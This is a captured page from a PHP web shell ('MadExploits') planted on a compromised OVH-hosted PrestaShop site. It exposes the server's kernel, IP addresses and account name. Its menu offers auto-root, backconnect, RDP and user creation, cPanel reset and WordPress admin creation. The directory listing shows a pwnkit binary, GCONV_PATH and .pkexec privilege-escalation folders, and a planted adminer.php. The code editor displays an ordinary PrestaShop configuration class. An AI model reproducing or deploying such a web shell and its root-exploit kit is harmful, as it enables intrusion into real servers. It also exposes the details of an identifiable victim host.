Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Adapter /
Meta /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
CommandHandler
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
QueryHandler
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
MetaDataProvider.php
3.66
KB
-rw----r--
MetaEraser.php
2.33
KB
-rw----r--
SEOOptionsDataConfiguration.ph...
2.51
KB
-rw----r--
SetUpUrlsDataConfiguration.php
5.21
KB
-rw----r--
ShopUrlDataConfiguration.php
3.94
KB
-rw----r--
UrlSchemaDataConfiguration.php
3.76
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SetUpUrlsDataConfiguration.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter\Meta; use PrestaShop\PrestaShop\Adapter\Configuration; use PrestaShop\PrestaShop\Adapter\File\HtaccessFileGenerator; use PrestaShop\PrestaShop\Core\Configuration\DataConfigurationInterface; use Symfony\Component\Translation\TranslatorInterface; /** * Class SetUpUrlsDataConfiguration is responsible for saving, validating and getting configurations related with urls * configuration located in Shop parameters -> Traffic & Seo -> Seo & Urls. */ final class SetUpUrlsDataConfiguration implements DataConfigurationInterface { /** * @var Configuration */ private $configuration; /** * @var HtaccessFileGenerator */ private $htaccessFileGenerator; /** * @var TranslatorInterface */ private $translator; /** * SetUpUrlsDataConfiguration constructor. * * @param Configuration $configuration * @param HtaccessFileGenerator $htaccessFileGenerator * @param TranslatorInterface $translator */ public function __construct( Configuration $configuration, HtaccessFileGenerator $htaccessFileGenerator, TranslatorInterface $translator ) { $this->configuration = $configuration; $this->htaccessFileGenerator = $htaccessFileGenerator; $this->translator = $translator; } /** * {@inheritdoc} */ public function getConfiguration() { return [ 'friendly_url' => $this->configuration->getBoolean('PS_REWRITING_SETTINGS'), 'accented_url' => $this->configuration->getBoolean('PS_ALLOW_ACCENTED_CHARS_URL'), 'canonical_url_redirection' => $this->configuration->get('PS_CANONICAL_REDIRECT'), 'disable_apache_multiview' => $this->configuration->getBoolean('PS_HTACCESS_DISABLE_MULTIVIEWS'), 'disable_apache_mod_security' => $this->configuration->getBoolean('PS_HTACCESS_DISABLE_MODSEC'), ]; } /** * {@inheritdoc} */ public function updateConfiguration(array $configuration) { $errors = []; if ($this->validateConfiguration($configuration)) { $this->configuration->set('PS_REWRITING_SETTINGS', $configuration['friendly_url']); $this->configuration->set('PS_ALLOW_ACCENTED_CHARS_URL', $configuration['accented_url']); $this->configuration->set('PS_CANONICAL_REDIRECT', $configuration['canonical_url_redirection']); $this->configuration->set('PS_HTACCESS_DISABLE_MULTIVIEWS', $configuration['disable_apache_multiview']); $this->configuration->set('PS_HTACCESS_DISABLE_MODSEC', $configuration['disable_apache_mod_security']); if (!$this->htaccessFileGenerator->generateFile($configuration['disable_apache_multiview'])) { $this->configuration->set('PS_REWRITING_SETTINGS', 0); $errorMessage = $this->translator ->trans( 'Before being able to use this tool, you need to:', [], 'Admin.Shopparameters.Notification' ); $errorMessage .= ' '; $errorMessage .= $this->translator ->trans( 'Create a blank .htaccess in your root directory.', [], 'Admin.Shopparameters.Notification' ); $errorMessage .= ' '; $errorMessage .= $this->translator ->trans( 'Give it write permissions (CHMOD 666 on Unix system).', [], 'Admin.Shopparameters.Notification' ); $errors[] = $errorMessage; } } return $errors; } /** * {@inheritdoc} */ public function validateConfiguration(array $configuration) { return isset( $configuration['friendly_url'], $configuration['accented_url'], $configuration['canonical_url_redirection'], $configuration['disable_apache_multiview'], $configuration['disable_apache_mod_security'] ); } }
Close